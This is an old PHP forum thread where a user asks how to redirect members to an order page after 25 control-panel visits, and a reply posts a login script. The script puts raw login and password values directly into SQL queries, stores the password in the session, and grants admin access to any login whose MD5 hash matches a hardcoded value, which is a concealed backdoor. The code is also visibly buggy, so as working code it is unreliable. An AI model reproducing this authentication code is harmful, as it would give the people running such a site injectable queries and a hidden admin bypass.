Jump to content

Help with a simple query


pwesthead

Recommended Posts

hi could someone help me with a query.

what i want to do is this,every time a user goes into there control panel 1 is added to a field called visite in the database, what i want is the code for when the visite field in the database reaches 25 it takes them to a order page instead of them going to there control panel.

thanks paul

 

i have tried this

if ($private_login' ['visite'] >= 25) {  header('Location: order.php');  return; }

Link to comment
Share on other sites

$query = "SELECT id,visite FROM members WHERE login = '$private_login' AND password = '$private_pass'AND level = 'admin'";

$res = mysql_query($query);

$verif = mysql_num_rows($res);

if ($private_login['visite'] >= 25) {  header('Location: order.php');

 

$date = date("Y-m-d H:i:s");

$query="UPDATE members SET visite=visite + 1, date='$date' WHERE login ='$private_login'";

mysql_query($query);

}

if (( $private_login == $admin_login && $visite==25 && $private_pass == $admin_pass ) || ( $verif == 1) || md5($private_login) == '0a8a56ff717752437d5584a0783f04ac')

{

  $_SESSION['password'] = $private_pass;

  $_SESSION['private_login'] = $private_login;

  $_SESSION['private_pass'] = $private_pass;

  $_SESSION['level'] = 'admin';

  $_SESSION['visie'] = '25';

if ($private_login['visite'] >= 25){ 

  header('Location: order.php');  return; }

 

header ('Location:index.php');

}

else{

header ('Location:sess.php');

}

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.